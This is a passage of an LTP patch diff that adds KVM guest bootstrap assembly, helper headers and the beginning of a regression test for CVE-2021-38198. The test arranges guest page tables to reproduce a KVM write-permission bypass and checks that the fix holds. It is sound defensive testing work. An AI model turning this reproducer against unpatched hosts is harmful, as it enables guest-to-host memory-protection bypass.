+	.skip 2 * 4096
+.global kvm_stack_top
+kvm_stack_top:
+
+.section .bss.tss
+.global kvm_tss
+kvm_tss:
+	.skip 0x6C
+.Ltss_end:
+
+.section .bss
+.align 8
+.global kvm_idt
+kvm_idt:
+	.skip 8 * 256
+.Lidt_end:
+
+.section .data
+.align 8
+.global kvm_idt_desc
+kvm_idt_desc:
+	.2byte .Lidt_end - kvm_idt - 1
+	.4byte kvm_idt
diff --git a/testcases/kernel/kvm/bootstrap_x86_64.S b/testcases/kernel/kvm/bootstrap_x86_64.S
new file mode 100644
index 0000000..c9577e8
--- /dev/null
+++ b/testcases/kernel/kvm/bootstrap_x86_64.S
@@ -0,0 +1,515 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2020 SUSE LLC
+ * Author: Nicolai Stange <nstange@suse.de>
+ * LTP port: Martin Doucha <mdoucha@suse.cz>
+ */
+
+.set KVM_TCONF, 32
+.set KVM_TEXIT, 0xff
+.set RESULT_ADDRESS, 0xfffff000
+
+/*
+ * This section will be allocated at address 0x1000 and
+ * jumped to from the reset stub provided by kvm_run.
+ */
+.code16
+.section .init.protected_mode, "ax"
+real_mode_entry:
+	cli
+
+	lgdt kvm_gdt32_desc
+
+	mov $0x11, %eax
+	mov %eax, %cr0
+
+	jmp $3 * 8, $protected_mode_entry
+
+.code32
+protected_mode_entry:
+	mov $2 * 8, %eax
+	mov %eax, %ds
+	mov %eax, %es
+	jmp init_memlayout
+
+.section .data.gdt32, "a", @progbits
+
+.macro gdt32_entry type:req l=0 d=0 dpl=0 limit=0xfffff g=1 p=1
+	.4byte \limit & 0xffff
+	.2byte (\type << 8) | (\dpl << 13) | (\p << 15)
+	.2byte (\limit >> 16) | (\l << 5) | (\d << 6) | (\g << 7)
+.endm
+.align 8
+kvm_gdt32:
+	.8byte 0
+	gdt32_entry type=0x1a l=1 /* Code segment long mode */
+	gdt32_entry type=0x12 /* Data segment, writable */
+	gdt32_entry type=0x1a l=0 d=1 /* Code segment protected_mode, 32bits */
+
+.Lgdt32_end:
+kvm_gdt32_desc:
+	.2byte .Lgdt32_end - kvm_gdt32 - 1
+	.4byte kvm_gdt32
+
+.section .data.strings, "aS", @progbits
+source_filename:
+	.ascii "bootstrap_x86_64.S\0"
+
+long_mode_err:
+	.ascii "Virtual CPU does not support 64bit mode\0"
+
+.code32
+.section .init.memlayout, "ax"
+init_memlayout:
+	/*
+	 * Identity-map the first 2GB of virtual address space.
+	 */
+	lea kvm_pagetable, %edi
+
+	/*
+	 * Set the first entry of kvm_pagetable (level 1) and fill the rest
+	 * of the page with zeroes.
+	 */
+	lea kvm_pgtable_l2, %esi
+	movl %esi, %ebx
+	orl $0x3, %ebx		/* Flags: present, writable */
+	movl %ebx, (%edi)
+	addl $4, %edi
+	movl $1023, %ecx
+	xor %eax, %eax
+	rep stosl
+
+	/*
+	 * Set the first four entries of kvm_pgtable_l2 and fill the rest
+	 * of the page with zeroes.
+	 */
+	mov %esi, %edi
+	lea kvm_pgtable_l3, %esi
+	movl %esi, %eax
+	mov $4, %ecx
+
+1:	movl %eax, %ebx
+	orl $0x3, %ebx		/* Flags: present, writable */
+	movl %ebx, (%edi)
+	movl $0, 4(%edi)
+	addl $8, %edi
+	addl $4096, %eax
+	dec %ecx
+	jnz 1b
+
+	movl $1016, %ecx
+	xor %eax, %eax
+	rep stosl
+
+	/* Fill kvm_pgtable_l3 with pointers to kvm_pgtable_l4 */
+	mov %esi, %edi
+	lea kvm_pgtable_l4, %esi
+	movl %esi, %eax
+	mov $4 * 512, %ecx
+
+1:	movl %eax, %ebx
+	orl $0x3, %ebx		/* Flags: present, writable */
+	movl %ebx, (%edi)
+	movl $0, 4(%edi)
+	addl $8, %edi
+	addl $4096, %eax
+	dec %ecx
+	jnz 1b
+
+	/* Fill kvm_pgtable_l4 with identity map of the first 2GB. */
+	movl %esi, %edi
+	movl $2 * 512 * 512, %ecx
+	xor %eax, %eax
+
+1:	movl %eax, %ebx
+	orl $0x3, %ebx		/* Flags: present, writable */
+	movl %ebx, (%edi)
+	movl $0, 4(%edi)
+	addl $8, %edi
+	addl $4096, %eax
+	dec %ecx
+	jnz 1b
+
+	/* Mark the upper 2GB as unmapped except for the last page. */
+	movl $4 * 512 * 512 - 2, %ecx
+	xor %eax, %eax
+	rep stosl
+	movl $0xfffff003, (%edi)
+	movl $0, 4(%edi)
+
+	/*
+	 * Now that the identity-map pagestables have been populated,
+	 * we're ready to install them at CR3 and switch to long mode.
+	 */
+	/* Enable CR4.PAE */
+	movl %cr4, %eax
+	btsl $5, %eax
+	movl %eax, %cr4
+
+	lea kvm_pagetable, %eax
+	movl %eax, %cr3
+
+	/* Check if the CPU supports long mode. */
+	movl $0x80000000, %eax
+	cpuid
+	cmpl $0x80000000, %eax
+	jg 1f
+	movl $KVM_TCONF, %edi
+	lea long_mode_err, %esi
+	jmp init_error
+1:
+	movl $0x80000001, %eax
+	cpuid
+	bt $29, %edx
+	jc 1f
+	movl $KVM_TCONF, %edi
+	lea long_mode_err, %esi
+	jmp init_error
+1:
+
+	/* Activate EFER.LME to enable long mode. */
+	movl $0xc0000080, %ecx
+	rdmsr
+	btsl $8, %eax
+	wrmsr
+
+	/* Enable CR0.PG and CR0.WP */
+	movl %cr0, %eax
+	btsl $31, %eax
+	btsl $16, %eax
+	movl %eax, %cr0
+
+	/* Long jmp to load the long mode %cs. */
+	jmp $1 * 8, $long_mode_entry
+
+init_error:
+	/* Write error info to test result structure and exit VM */
+	/* Equivalent to tst_brk() but using only 32bit instructions */
+	movl %edi, RESULT_ADDRESS
+	movl $RESULT_ADDRESS+4, %edi
+	movl $0, (%edi)
+	lea source_filename, %eax
+	movl %eax, 4(%edi)
+	movl $0, 8(%edi)
+	addl $12, %edi
+	xor %edx, %edx
+
+1:	movzbl (%esi,%edx,1), %eax
+	movb %al, (%edi,%edx,1)
+	inc %edx
+	test %al, %al
+	jne 1b
+	hlt
+	jmp kvm_exit
+
+.code64
+long_mode_entry:
+	lgdt kvm_gdt_desc
+
+	/*
+	 * Reset data segment selectors to NULL selector and
+	 * initialize stack.
+	 */
+	xor %eax, %eax
+	mov %eax, %ds
+	mov %eax, %es
+	mov %eax, %ss
+	lea kvm_stack_top, %rsp
+
+	/*
+	 * Strictly speaking a TSS should not be required
+	 * and experiments confirm that. However, we
+	 * might perhaps want to play games with the
+	 * interrupt/exception stacks in the future, so
+	 * install a minimal one now.
+	 */
+	lea kvm_tss, %rdx
+	movq %rdx, %rdi
+	movq $.Ltss_end - kvm_tss, %rsi
+	call memzero
+
+	movq %rsp, 4(%rdx)
+
+	/*
+	 * Create a 16 byte descriptor starting at the
+	 * 3rd 8-byte GDT slot.xs
+	 */
+	movq %rdx, %rax
+	shl $40, %rax
+	shr $24, %rax
+	movq %rdx, %rbx
+	shr $24, %rbx
+	shl $56, %rbx
+	or %rbx, %rax
+	movq $0x89, %rbx
+	shl $40, %rbx
+	or $.Ltss_end - kvm_tss - 1, %rbx
+	or %rbx, %rax
+	shr $32, %rdx
+
+	lea kvm_gdt + 2*8, %rdi
+	mov %rax, (%rdi)
+	mov %rdx, 8(%rdi)
+
+	mov $2 * 8, %ax
+	ltr %ax
+
+
+	/* Configure and enable interrupts */
+	call kvm_init_interrupts
+	lidt kvm_idt_desc
+	sti
+
+	/*
+	 * Do just enough of initialization to get to a working
+	 * -ffreestanding environment and call tst_main(void).
+	 */
+	lea __preinit_array_begin, %rdi
+1:
+	lea __preinit_array_end, %rsi
+	cmp %rdi, %rsi
+	je 2f
+	push %rdi
+	call *(%rdi)
+	pop %rdi
+	add $8, %rdi
+	jmp 1b
+2:
+
+	lea __init_array_begin, %rdi
+1:
+	lea __init_array_end, %rsi
+	cmp %rdi, %rsi
+	je 2f
+	push %rdi
+	call *(%rdi)
+	pop %rdi
+	add $8, %rdi
+	jmp 1b
+2:
+	call main
+	jmp kvm_exit
+
+.global kvm_read_cregs
+kvm_read_cregs:
+	mov %cr0, %rax
+	mov %rax, (%rdi)
+	mov %cr2, %rax
+	mov %rax, 8(%rdi)
+	mov %cr3, %rax
+	mov %rax, 16(%rdi)
+	mov %cr4, %rax
+	mov %rax, 24(%rdi)
+	retq
+
+handle_interrupt:
+	/* push CPU state */
+	push %rbp
+	mov %rsp, %rbp
+	push %rax
+	push %rbx
+	push %rcx
+	push %rdx
+	push %rdi
+	push %rsi
+	push %r8
+	push %r9
+	push %r10
+	push %r11
+
+	/* load handler arguments from the stack and call handler */
+	movq %rbp, %rdi
+	addq $24, %rdi
+	movq 8(%rbp), %rsi
+	movq 16(%rbp), %rdx
+	cld
+	call tst_handle_interrupt
+
+	/* restore CPU state and return */
+	pop %r11
+	pop %r10
+	pop %r9
+	pop %r8
+	pop %rsi
+	pop %rdi
+	pop %rdx
+	pop %rcx
+	pop %rbx
+	pop %rax
+	pop %rbp
+	add $16, %rsp
+	iretq
+
+.macro create_intr_handler vector:req padargs=0
+.if \padargs
+	pushq $0	/* push dummy error code */
+.endif
+	pushq $\vector
+	jmp handle_interrupt
+.endm
+
+.global kvm_handle_zerodiv
+kvm_handle_zerodiv:
+	create_intr_handler 0, padargs=1
+
+.global kvm_handle_debug
+kvm_handle_debug:
+	create_intr_handler 1, padargs=1
+
+.global kvm_handle_nmi
+kvm_handle_nmi:
+	create_intr_handler 2, padargs=1
+
+.global kvm_handle_breakpoint
+kvm_handle_breakpoint:
+	create_intr_handler 3, padargs=1
+
+.global kvm_handle_overflow
+kvm_handle_overflow:
+	create_intr_handler 4, padargs=1
+
+.global kvm_handle_bound_range_exc
+kvm_handle_bound_range_exc:
+	create_intr_handler 5, padargs=1
+
+.global kvm_handle_bad_opcode
+kvm_handle_bad_opcode:
+	create_intr_handler 6, padargs=1
+
+.global kvm_handle_device_error
+kvm_handle_device_error:
+	create_intr_handler 7, padargs=1
+
+.global kvm_handle_double_fault
+kvm_handle_double_fault:
+	create_intr_handler 8
+
+.global kvm_handle_invalid_tss
+kvm_handle_invalid_tss:
+	create_intr_handler 10
+
+.global kvm_handle_segfault
+kvm_handle_segfault:
+	create_intr_handler 11
+
+.global kvm_handle_stack_fault
+kvm_handle_stack_fault:
+	create_intr_handler 12
+
+.global kvm_handle_gpf
+kvm_handle_gpf:
+	create_intr_handler 13
+
+.global kvm_handle_page_fault
+kvm_handle_page_fault:
+	create_intr_handler 14
+
+.global kvm_handle_fpu_error
+kvm_handle_fpu_error:
+	create_intr_handler 16, padargs=1
+
+.global kvm_handle_alignment_error
+kvm_handle_alignment_error:
+	create_intr_handler 17
+
+.global kvm_handle_machine_check
+kvm_handle_machine_check:
+	create_intr_handler 18, padargs=1
+
+.global kvm_handle_simd_error
+kvm_handle_simd_error:
+	create_intr_handler 19, padargs=1
+
+.global kvm_handle_virt_error
+kvm_handle_virt_error:
+	create_intr_handler 20, padargs=1
+
+.global kvm_handle_cpe
+kvm_handle_cpe:
+	create_intr_handler 21
+
+.global kvm_handle_hv_injection
+kvm_handle_hv_injection:
+	create_intr_handler 28, padargs=1
+
+.global kvm_handle_vmm_comm
+kvm_handle_vmm_comm:
+	create_intr_handler 29
+
+.global kvm_handle_security_error
+kvm_handle_security_error:
+	create_intr_handler 30
+
+.global kvm_handle_bad_exception
+kvm_handle_bad_exception:
+	create_intr_handler -1, padargs=1
+
+
+.global kvm_exit
+kvm_exit:
+	movq $RESULT_ADDRESS, %rdi
+	movl $KVM_TEXIT, (%rdi)
+	hlt
+	jmp kvm_exit
+
+.global kvm_yield
+kvm_yield:
+	hlt
+	ret
+
+
+.section .bss.pgtables, "aw", @nobits
+.global kvm_pagetable
+kvm_pagetable:
+	.skip 4096
+
+kvm_pgtable_l2:
+	.skip 4096
+
+kvm_pgtable_l3:
+	.skip 4 * 4096
+
+kvm_pgtable_l4:
+	.skip 4 * 512 * 4096
+
+.section .data
+.align 8
+.global kvm_gdt
+kvm_gdt:
+	.8byte 0
+	gdt32_entry type=0x1a l=1 limit=0 g=0 /* Code segment long mode */
+	.skip 16 /* TSS segment descriptor */
+
+.Lgdt_end:
+.global kvm_gdt_desc
+kvm_gdt_desc:
+	.2byte .Lgdt_end - kvm_gdt - 1
+	.8byte kvm_gdt
+
+
+.section .bss.stack, "aw", @nobits
+.global kvm_stack_bottom
+kvm_stack_bottom:
+	.skip 2 * 4096
+.global kvm_stack_top
+kvm_stack_top:
+
+.section .bss.tss
+.global kvm_tss
+kvm_tss:
+	.skip 0x6C
+.Ltss_end:
+
+.section .bss
+.align 8
+.global kvm_idt
+kvm_idt:
+	.skip 16 * 256
+.Lidt_end:
+
+.section .data
+.align 8
+.global kvm_idt_desc
+kvm_idt_desc:
+	.2byte .Lidt_end - kvm_idt - 1
+	.8byte kvm_idt
diff --git a/testcases/kernel/kvm/include/kvm_common.h b/testcases/kernel/kvm/include/kvm_common.h
new file mode 100644
index 0000000..4e81d83
--- /dev/null
+++ b/testcases/kernel/kvm/include/kvm_common.h
@@ -0,0 +1,31 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
+ *
+ * Common definitions for communication between KVM guest and host.
+ */
+
+#ifndef KVM_COMMON_H_
+#define KVM_COMMON_H_
+
+#define KVM_TNONE	-1	/* "No result" status value */
+
+/*
+ * Result value indicating end of test. If the test program exits using
+ * the HLT instruction with any valid result value other than KVM_TEXIT or
+ * TBROK, KVM runner will automatically resume VM execution after printing
+ * the message.
+ */
+#define KVM_TEXIT	0xff
+
+#define KVM_RESULT_BASEADDR 0xfffff000
+#define KVM_RESULT_SIZE 0x1000
+
+struct tst_kvm_result {
+	int32_t result;
+	int32_t lineno;
+	uint64_t file_addr;
+	char message[0];
+};
+
+#endif /* KVM_COMMON_H_ */
diff --git a/testcases/kernel/kvm/include/kvm_guest.h b/testcases/kernel/kvm/include/kvm_guest.h
new file mode 100644
index 0000000..ec13c58
--- /dev/null
+++ b/testcases/kernel/kvm/include/kvm_guest.h
@@ -0,0 +1,85 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
+ *
+ * Minimal test library for KVM tests
+ */
+
+#ifndef KVM_GUEST_H_
+#define KVM_GUEST_H_
+
+/* The main LTP include dir is intentionally excluded during payload build */
+#include "../../../../include/tst_res_flags.h"
+#undef TERRNO
+#undef TTERRNO
+#undef TRERRNO
+
+#define TST_TEST_TCONF(message) \
+	void main(void) { tst_brk(TCONF, message); }
+
+#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))
+
+/* Round x up to the next multiple of a.
+ * a must be a power of 2.
+ */
+#define LTP_ALIGN(x, a)    __LTP_ALIGN_MASK((x), (typeof(x))(a) - 1)
+#define __LTP_ALIGN_MASK(x, mask)  (((x) + (mask)) & ~(mask))
+
+#define INTERRUPT_COUNT 32
+
+typedef unsigned long size_t;
+typedef long ssize_t;
+
+typedef signed char int8_t;
+typedef unsigned char uint8_t;
+typedef short int16_t;
+typedef unsigned short uint16_t;
+typedef int int32_t;
+typedef unsigned int uint32_t;
+typedef long long int64_t;
+typedef unsigned long long uint64_t;
+typedef unsigned long uintptr_t;
+
+#define NULL ((void *)0)
+
+void *memset(void *dest, int val, size_t size);
+void *memzero(void *dest, size_t size);
+void *memcpy(void *dest, const void *src, size_t size);
+
+char *strcpy(char *dest, const char *src);
+char *strcat(char *dest, const char *src);
+size_t strlen(const char *str);
+
+/* Exit the VM by looping on a HLT instruction forever */
+void kvm_exit(void) __attribute__((noreturn));
+
+/* Exit the VM using the HLT instruction but allow resume */
+void kvm_yield(void);
+
+void tst_res_(const char *file, const int lineno, int result,
+	const char *message);
+#define tst_res(result, msg) tst_res_(__FILE__, __LINE__, (result), (msg))
+
+void tst_brk_(const char *file, const int lineno, int result,
+	const char *message) __attribute__((noreturn));
+#define tst_brk(result, msg) tst_brk_(__FILE__, __LINE__, (result), (msg))
+
+void *tst_heap_alloc_aligned(size_t size, size_t align);
+void *tst_heap_alloc(size_t size);
+
+/* Arch dependent: */
+
+struct kvm_interrupt_frame;
+
+typedef int (*tst_interrupt_callback)(void *userdata,
+	struct kvm_interrupt_frame *ifrm, unsigned long errcode);
+
+extern const char *tst_interrupt_names[INTERRUPT_COUNT];
+
+void tst_set_interrupt_callback(unsigned int vector,
+	tst_interrupt_callback func, void *userdata);
+
+/* Get the instruction pointer from interrupt frame */
+uintptr_t kvm_get_interrupt_ip(const struct kvm_interrupt_frame *ifrm);
+
+#endif /* KVM_GUEST_H_ */
diff --git a/testcases/kernel/kvm/include/kvm_host.h b/testcases/kernel/kvm/include/kvm_host.h
new file mode 100644
index 0000000..2359944
--- /dev/null
+++ b/testcases/kernel/kvm/include/kvm_host.h
@@ -0,0 +1,137 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
+ *
+ * KVM host library for setting up and running virtual machine tests. Tests
+ * can either use the default setup/run/host functions or use the advanced
+ * API to create customized VMs.
+ */
+
+/*
+ * Most basic usage:
+ *
+ * #include "kvm_test.h"
+ *
+ * #ifdef COMPILE_PAYLOAD
+ *
+ * void main(void)
+ * {
+ *	[VM guest code goes here]
+ * }
+ *
+ * #else
+ *
+ * [optional VM host setup/run/cleanup code goes here]
+ *
+ * static struct tst_test test = {
+ *	.test_all = tst_kvm_run,
+ *	.setup = tst_kvm_setup,
+ *	.cleanup = tst_kvm_cleanup,
+ * };
+ *
+ * #endif
+ */
+
+#ifndef KVM_HOST_H_
+#define KVM_HOST_H_
+
+#include <inttypes.h>
+#include <linux/kvm.h>
+#include "kvm_common.h"
+
+#define VM_KERNEL_BASEADDR 0x1000
+#define VM_RESET_BASEADDR 0xfffffff0
+#define VM_RESET_CODE_SIZE 8
+
+#define MIN_FREE_RAM (10 * 1024 * 1024)
+#define DEFAULT_RAM_SIZE (16 * 1024 * 1024)
+#define MAX_KVM_MEMSLOTS 8
+
+struct tst_kvm_instance {
+	int vm_fd, vcpu_fd;
+	struct kvm_run *vcpu_info;
+	size_t vcpu_info_size;
+	struct kvm_userspace_memory_region ram[MAX_KVM_MEMSLOTS];
+	struct tst_kvm_result *result;
+};
+
+/* Test binary to be installed into the VM at VM_KERNEL_BASEADDR */
+extern const char kvm_payload_start[], kvm_payload_end[];
+
+/* CPU reset code to be installed into the VM at VM_RESET_BASEADDR */
+extern const unsigned char tst_kvm_reset_code[VM_RESET_CODE_SIZE];
+
+/* Default KVM test functions. */
+void tst_kvm_setup(void);
+void tst_kvm_run(void);
+void tst_kvm_cleanup(void);
+
+/*
+ * Validate KVM guest test result (usually passed via result->result) and
+ * fail with TBROK if the value cannot be safely passed to tst_res() or
+ * tst_brk().
+ */
+void tst_kvm_validate_result(int value);
+
+/*
+ * Allocate memory slot for the VM. The returned pointer is page-aligned
+ * so the actual requested base address is at ret[baseaddr % pagesize].
+ *
+ * The first argument is a VM file descriptor created by ioctl(KVM_CREATE_VM)
+ *
+ * The return value points to a guarded buffer and the user should not attempt
+ * to free() it. Any extra space added at the beginning or end for page
+ * alignment will be writable.
+ */
+void *tst_kvm_alloc_memory(struct tst_kvm_instance *inst, unsigned int slot,
+	uint64_t baseaddr, size_t size, unsigned int flags);
+
+/*
+ * Translate VM virtual memory address to the corresponding physical address.
+ * Returns 0 if the virtual address is unmapped or otherwise invalid.
+ */
+uint64_t tst_kvm_get_phys_address(const struct tst_kvm_instance *inst,
+	uint64_t addr);
+
+/*
+ * Find the struct tst_kvm_instance memory slot ID for the give virtual
+ * or physical VM memory address. Returns -1 if the address is not backed
+ * by any memory buffer.
+ */
+int tst_kvm_find_phys_memslot(const struct tst_kvm_instance *inst,
+	uint64_t paddr);
+int tst_kvm_find_memslot(const struct tst_kvm_instance *inst, uint64_t addr);
+
+/*
+ * Convert VM virtual memory address to a directly usable pointer.
+ */
+void *tst_kvm_get_memptr(const struct tst_kvm_instance *inst, uint64_t addr);
+
+/*
+ * Find CPUIDs supported by KVM. x86_64 tests must set non-default CPUID,
+ * otherwise bootstrap will fail to initialize 64bit mode.
+ * Returns NULL if ioctl(KVM_GET_SUPPORTED_CPUID) is not supported.
+ *
+ * The argument is a file descriptor created by open("/dev/kvm")
+ */
+struct kvm_cpuid2 *tst_kvm_get_cpuid(int sysfd);
+
+/*
+ * Initialize the given KVM instance structure. Creates new KVM virtual machine
+ * with 1 virtual CPU, allocates VM RAM (max. 4GB minus one page) and
+ * shared result structure. KVM memory slots 0 and 1 will be set by this
+ * function.
+ */
+void tst_kvm_create_instance(struct tst_kvm_instance *inst, size_t ram_size);
+
+/*
+ * Execute the given KVM instance and print results.
+ */
+void tst_kvm_run_instance(struct tst_kvm_instance *inst);
+
+/*
+ * Close the given KVM instance.
+ */
+void tst_kvm_destroy_instance(struct tst_kvm_instance *inst);
+
+#endif /* KVM_HOST_H_ */
diff --git a/testcases/kernel/kvm/include/kvm_test.h b/testcases/kernel/kvm/include/kvm_test.h
new file mode 100644
index 0000000..4d67adc
--- /dev/null
+++ b/testcases/kernel/kvm/include/kvm_test.h
@@ -0,0 +1,19 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
+ *
+ * Minimal test library for KVM tests
+ */
+
+#ifndef KVM_TEST_H_
+#define KVM_TEST_H_
+
+#ifdef COMPILE_PAYLOAD
+# include "kvm_guest.h"
+# include "kvm_common.h"
+#else
+# include "tst_test.h"
+# include "kvm_host.h"
+#endif /* COMPILE_PAYLOAD */
+
+#endif /* KVM_TEST_H_ */
diff --git a/testcases/kernel/kvm/include/kvm_x86.h b/testcases/kernel/kvm/include/kvm_x86.h
new file mode 100644
index 0000000..4f36711
--- /dev/null
+++ b/testcases/kernel/kvm/include/kvm_x86.h
@@ -0,0 +1,157 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
+ *
+ * x86-specific KVM helper functions and structures
+ */
+
+#ifndef KVM_X86_H_
+#define KVM_X86_H_
+
+#include "kvm_test.h"
+
+/* Interrupts */
+#define X86_INTR_COUNT 256
+
+#define INTR_ZERODIV 0
+#define INTR_DEBUG 1
+#define INTR_NMI 2
+#define INTR_BREAKPOINT 3
+#define INTR_OVERFLOW 4
+#define INTR_BOUND_RANGE_EXC 5
+#define INTR_BAD_OPCODE 6
+#define INTR_DEVICE_ERROR 7
+#define INTR_DOUBLE_FAULT 8
+#define INTR_INVALID_TSS 10
+#define INTR_SEGFAULT 11
+#define INTR_STACK_FAULT 12
+#define INTR_GPF 13
+#define INTR_PAGE_FAULT 14
+#define INTR_FPU_ERROR 16
+#define INTR_ALIGNMENT_ERROR 17
+#define INTR_MACHINE_CHECK 18
+#define INTR_SIMD_ERROR 19
+#define INTR_VIRT_ERROR 20
+#define INTR_CPE 21
+#define INTR_HV_INJECTION 28
+#define INTR_VMM_COMM 29
+#define INTR_SECURITY_ERROR 30
+
+
+/* CPUID constants */
+#define CPUID_GET_INPUT_RANGE 0x80000000
+#define CPUID_GET_EXT_FEATURES 0x80000001
+
+
+/* Model-specific CPU register constants */
+#define MSR_EFER 0xc0000080
+
+#define EFER_SCE (1 << 0)	/* SYSCALL/SYSRET instructions enabled */
+#define EFER_LME (1 << 8)	/* CPU is running in 64bit mode */
+#define EFER_LMA (1 << 10)	/* CPU uses 64bit memory paging (read-only) */
+#define EFER_NXE (1 << 11)	/* Execute disable bit active */
+
+
+/* Control register constants */
+#define CR4_VME (1 << 0)
+#define CR4_PVI (1 << 1)
+#define CR4_TSD (1 << 2)
+#define CR4_DE (1 << 3)
+#define CR4_PSE (1 << 4)
+#define CR4_PAE (1 << 5)
+#define CR4_MCE (1 << 6)
+#define CR4_PGE (1 << 7)
+#define CR4_PCE (1 << 8)
+#define CR4_OSFXSR (1 << 9)
+#define CR4_OSXMMEXCPT (1 << 10)
+#define CR4_UMIP (1 << 11)
+#define CR4_LA57 (1 << 12)
+#define CR4_VMXE (1 << 13)
+#define CR4_SMXE (1 << 14)
+#define CR4_FSGSBASE (1 << 16)
+#define CR4_PCIDE (1 << 17)
+#define CR4_OSXSAVE (1 << 18)
+#define CR4_KL (1 << 19)
+#define CR4_SMEP (1 << 20)
+#define CR4_SMAP (1 << 21)
+#define CR4_PKE (1 << 22)
+#define CR4_CET (1 << 23)
+#define CR4_PKS (1 << 24)
+
+struct intr_descriptor {
+	uint16_t offset_lo;
+	uint16_t selector;
+	uint8_t ist;
+	uint8_t flags;
+#if defined(__x86_64__)
+	uint64_t offset_hi; /* top 16 bits must be set to 0 */
+	uint16_t padding;
+#else /* defined(__x86_64__) */
+	uint16_t offset_hi;
+#endif /* defined(__x86_64__) */
+} __attribute__((__packed__));
+
+struct page_table_entry_pae {
+	unsigned int present: 1;
+	unsigned int writable: 1;
+	unsigned int user_access: 1;
+	unsigned int write_through: 1;
+	unsigned int disable_cache: 1;
+	unsigned int accessed: 1;
+	unsigned int dirty: 1;
+	unsigned int page_type: 1;
+	unsigned int global: 1;
+	unsigned int padding: 3;
+	uint64_t address: 40;
+	unsigned int padding2: 7;
+	unsigned int prot_key: 4;
+	unsigned int noexec: 1;
+} __attribute__((__packed__));
+
+struct kvm_cpuid {
+	unsigned int eax, ebx, ecx, edx;
+};
+
+struct kvm_cregs {
+	unsigned long cr0, cr2, cr3, cr4;
+};
+
+extern struct page_table_entry_pae kvm_pagetable[];
+extern struct intr_descriptor kvm_idt[X86_INTR_COUNT];
+
+/* Page table helper functions */
+uintptr_t kvm_get_page_address_pae(const struct page_table_entry_pae *entry);
+
+/* Functions for querying CPU info and status */
+void kvm_get_cpuid(unsigned int eax, unsigned int ecx, struct kvm_cpuid *buf);
+void kvm_read_cregs(struct kvm_cregs *buf);
+uint64_t kvm_rdmsr(unsigned int msr);
+void kvm_wrmsr(unsigned int msr, uint64_t value);
+
+/* Low-level interrupt handlers, DO NOT call directly */
+void kvm_handle_bad_exception(void);
+void kvm_handle_zerodiv(void);
+void kvm_handle_debug(void);
+void kvm_handle_nmi(void);
+void kvm_handle_breakpoint(void);
+void kvm_handle_overflow(void);
+void kvm_handle_bound_range_exc(void);
+void kvm_handle_bad_opcode(void);
+void kvm_handle_device_error(void);
+void kvm_handle_double_fault(void);
+void kvm_handle_invalid_tss(void);
+void kvm_handle_segfault(void);
+void kvm_handle_stack_fault(void);
+void kvm_handle_gpf(void);
+void kvm_handle_page_fault(void);
+void kvm_handle_fpu_error(void);
+void kvm_handle_alignment_error(void);
+void kvm_handle_machine_check(void);
+void kvm_handle_simd_error(void);
+void kvm_handle_virt_error(void);
+void kvm_handle_cpe(void);
+void kvm_handle_hv_injection(void);
+void kvm_handle_vmm_comm(void);
+void kvm_handle_security_error(void);
+
+#endif /* KVM_X86_H_ */
diff --git a/testcases/kernel/kvm/kvm_pagefault01.c b/testcases/kernel/kvm/kvm_pagefault01.c
new file mode 100644
index 0000000..e355fa4
--- /dev/null
+++ b/testcases/kernel/kvm/kvm_pagefault01.c
@@ -0,0 +1,234 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2020 SUSE LLC
+ * Author: Nicolai Stange <nstange@suse.de>
+ * LTP port: Martin Doucha <mdoucha@suse.cz>
+ */
+
+/*\
+ * CVE 2021-38198
+ *
+ * Check that x86_64 KVM correctly enforces (lack of) write permissions
+ * in 4-level and 5-level memory page table mode. Missing page faults fixed in:
+ *
+ *  commit b1bd5cba3306691c771d558e94baa73e8b0b96b7
+ *  Author: Lai Jiangshan <laijs@linux.alibaba.com>
+ *  Date:   Thu Jun 3 13:24:55 2021 +0800
+ *
+ *  KVM: X86: MMU: Use the correct inherited permissions to get shadow page
+ */
+
+#include "kvm_test.h"
+
+#ifdef COMPILE_PAYLOAD
+#ifdef __x86_64__
+
+#include "kvm_x86.h"
+
+#define PTE_BITMASK 0x1ff
+#define PAGESIZE 0x1000
+
+int handle_page_fault(void *userdata, struct kvm_interrupt_frame *ifrm,
+	unsigned long errcode)
+{
+	struct kvm_cregs buf;
+
+	kvm_read_cregs(&buf);
+
+	/* Check that the page fault was caused by write to *readonly below */
+	if (buf.cr2 == (uintptr_t)userdata) {
+		tst_res(TPASS, "KVM enforces memory write permissions");
+		kvm_exit();
+	}
+
+	/* Unexpected page fault, fall back to default handler */
+	return 0;
+}
+
+void main(void)
+{
+	uintptr_t tmp;
+	struct page_table_entry_pae *subpte, *pte = kvm_pagetable;
+	int val, *writable, *readonly, *cacher1, *cacher2;
+
+	if (!(kvm_rdmsr(MSR_EFER) & EFER_LMA))
+		tst_brk(TBROK, "Bootstrap did not enable 64bit paging");
+
+	/*
+	 * Find the first page table entry which branches. This entry was
+	 * configured by bootstrap as follows:
+	 * 0x00000000 - 0x3fffffff in pte[0] (identity mapped)
+	 * 0x40000000 - 0x7fffffff in pte[1] (identity mapped)
+	 * 0x80000000 - 0xbfffffff in pte[2] (unmapped)
+	 * 0xc0000000 - 0xffffffff in pte[3] (only last page identity mapped)
+	 */
+	while (!pte[1].present) {
+		tmp = kvm_get_page_address_pae(pte);
+		pte = (struct page_table_entry_pae *)tmp;
+	}
+
+	/*
+	 * Setup mapping above the 32bit address space. The test needs two
+	 * different unused 1GB chunks of address space. Remapping part of
+	 * the lower 4GB address space would make it harder to reproduce
+	 * the bug because any memory access in the same 1GB chunk (even
+	 * fetching instructions by the CPU) could evict entries from page
+	 * table cache and force the bypassable write permission check
+	 * to happen even on buggy kernels.
+	 *
+	 * Allocate 3 pages for page table + 2 pages for data
+	 */
+	writable = tst_heap_alloc_aligned(5 * PAGESIZE, PAGESIZE);
